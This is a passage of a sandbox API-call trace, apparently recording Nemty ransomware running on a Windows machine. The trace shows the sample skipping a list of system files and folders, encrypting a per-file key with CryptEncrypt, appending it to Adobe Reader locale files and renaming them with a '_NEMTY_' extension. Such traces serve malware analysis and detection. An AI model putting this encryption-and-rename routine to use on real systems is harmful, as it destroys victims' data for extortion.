(lpString1="Multimedia.ESP", lpString2=".") returned 1 [0175.726] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="..") returned 1 [0175.726] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="...") returned 1 [0175.726] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="windows") returned -1 [0175.726] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.726] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="rsa") returned -1 [0175.726] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="NTDETECT.COM") returned -1 [0175.726] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="ntldr") returned -1 [0175.726] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="MSDOS.SYS") returned 1 [0175.726] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="IO.SYS") returned 1 [0175.726] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="boot.ini") returned 1 [0175.726] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="boot.ini") returned 1 [0175.727] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.727] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="ntuser.dat") returned -1 [0175.727] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="desktop.ini") returned 1 [0175.727] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="CONFIG.SYS") returned 1 [0175.727] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="RECYCLER") returned -1 [0175.727] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.727] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="bootmgr") returned 1 [0175.727] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="programdata") returned -1 [0175.727] lstrcmpiW (lpString1="Multimedia.ESP", lpString2="appdata") returned 1 [0175.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ESP", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ESP", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.ESP", lpUsedDefaultChar=0x0) returned 14 [0175.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ESP", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ESP", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.ESP", lpUsedDefaultChar=0x0) returned 14 [0175.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ESP", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ESP", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.ESP", lpUsedDefaultChar=0x0) returned 14 [0175.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ESP", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ESP", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.ESP", lpUsedDefaultChar=0x0) returned 14 [0175.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.727] Sleep (dwMilliseconds=0x5) [0175.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c642610, dwHighDateTime=0x1d561e8)) [0175.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c642610, dwHighDateTime=0x1d561e8)) [0175.732] GetLastError () returned 0x0 [0175.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.732] GetLastError () returned 0x0 [0175.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.732] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.732] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.732] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.732] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="sSQkvcs9CC+DEtC0fu1cvcVXTx0xXRSn3APMuZduwk6qz2oR7dWzs/VgoCcqOaqk\r\nHwgLN/JlgUrC4SPeqB8iumkDGvy3H0S8RZaCyTg+IZtoxgm9BmaQtMYznCNgDHJp\r\noM6cjyCCl5suNDQYkP2rnM+Ly/Zk6mcs9W84p1eJLK3bj/IBGXKLVP7K9M053G/9\r\ntsiqVoUtwHNdWzBknZZTVq6CEPEy+UCcjrOOSGepwC76acTzYvlP2ICewQ8sDVBK\r\n/SXSWFGP0Tv1Z+uXwfF1EJHU1DW5Ykgtfcm1lucQqqMowK+LgymCipWHJxAB7Bj3\r\nKeUNFfLO1zM6NNHUL1jLYQ==\r\n", pcchString=0x653e5dc) returned 1 [0175.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.732] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Multimedia.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\multimedia.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.733] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=84480) returned 1 [0175.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14a00) returned 0x6352c48 [0175.733] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.733] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x14a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x14a00, lpOverlapped=0x0) returned 1 [0175.740] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.740] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x14a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x14a00, lpOverlapped=0x0) returned 1 [0175.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.740] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=84480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14a00 [0175.740] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.740] CloseHandle (hObject=0x2e8) returned 1 [0175.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.741] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Multimedia.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\multimedia.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Multimedia.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\multimedia.esp._nemty_kgobjgd_")) returned 1 [0175.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.741] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.ESP", cAlternateFileName="")) returned 1 [0175.741] lstrcmpiW (lpString1="pddom.ESP", lpString2=".") returned 1 [0175.741] lstrcmpiW (lpString1="pddom.ESP", lpString2="..") returned 1 [0175.741] lstrcmpiW (lpString1="pddom.ESP", lpString2="...") returned 1 [0175.741] lstrcmpiW (lpString1="pddom.ESP", lpString2="windows") returned -1 [0175.741] lstrcmpiW (lpString1="pddom.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.741] lstrcmpiW (lpString1="pddom.ESP", lpString2="rsa") returned -1 [0175.741] lstrcmpiW (lpString1="pddom.ESP", lpString2="NTDETECT.COM") returned 1 [0175.741] lstrcmpiW (lpString1="pddom.ESP", lpString2="ntldr") returned 1 [0175.741] lstrcmpiW (lpString1="pddom.ESP", lpString2="MSDOS.SYS") returned 1 [0175.741] lstrcmpiW (lpString1="pddom.ESP", lpString2="IO.SYS") returned 1 [0175.741] lstrcmpiW (lpString1="pddom.ESP", lpString2="boot.ini") returned 1 [0175.741] lstrcmpiW (lpString1="pddom.ESP", lpString2="boot.ini") returned 1 [0175.742] lstrcmpiW (lpString1="pddom.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.742] lstrcmpiW (lpString1="pddom.ESP", lpString2="ntuser.dat") returned 1 [0175.742] lstrcmpiW (lpString1="pddom.ESP", lpString2="desktop.ini") returned 1 [0175.742] lstrcmpiW (lpString1="pddom.ESP", lpString2="CONFIG.SYS") returned 1 [0175.742] lstrcmpiW (lpString1="pddom.ESP", lpString2="RECYCLER") returned -1 [0175.742] lstrcmpiW (lpString1="pddom.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.742] lstrcmpiW (lpString1="pddom.ESP", lpString2="bootmgr") returned 1 [0175.742] lstrcmpiW (lpString1="pddom.ESP", lpString2="programdata") returned -1 [0175.742] lstrcmpiW (lpString1="pddom.ESP", lpString2="appdata") returned 1 [0175.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ESP", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.ESP", lpUsedDefaultChar=0x0) returned 9 [0175.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ESP", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.ESP", lpUsedDefaultChar=0x0) returned 9 [0175.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ESP", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.ESP", lpUsedDefaultChar=0x0) returned 9 [0175.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ESP", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.ESP", lpUsedDefaultChar=0x0) returned 9 [0175.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.742] Sleep (dwMilliseconds=0x5) [0175.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c668770, dwHighDateTime=0x1d561e8)) [0175.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c668770, dwHighDateTime=0x1d561e8)) [0175.747] GetLastError () returned 0x0 [0175.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.747] GetLastError () returned 0x0 [0175.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.748] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.748] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.748] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.748] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="RKodEfOpLsu3Ie7SSU5f46b9EpY6QL8kKz6w/hX91afFqFgRKJSSdbhiPi0ZVUCt\r\n2tPqESEnP1FI+p9hZ9Vbx3qjKSrceKJsy8w1PMdegzePZgAQ/fZbX2/IifVB3L6D\r\nIXbk+YP32b6PtXa1NhKl5qj7AJJT6PrAsaXJbzWe3NQCcFgTy5N4VurZWnKluXZp\r\nPsSRiwJ/P3uKaNmD+vJ5gfACLVSnGyNxAShiXj8yGXM0Xsw8dyYRbSPTYjRrTjE3\r\nJwSibyHR6l3/DLO5TJ4M/WnHhVQzxQZR6zIeKI/Nmzw0pXlJiSqhRhzFyc+jNpZL\r\nCLia5MT56116YuXUAXipRw==\r\n", pcchString=0x653e5dc) returned 1 [0175.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.748] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\pddom.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\pddom.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.748] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0175.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0175.748] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.748] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0175.750] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.751] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0175.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.751] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0175.751] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.751] CloseHandle (hObject=0x2e8) returned 1 [0175.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0175.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0175.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0175.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.751] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\pddom.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\pddom.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\pddom.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\pddom.esp._nemty_kgobjgd_")) returned 1 [0175.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0175.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 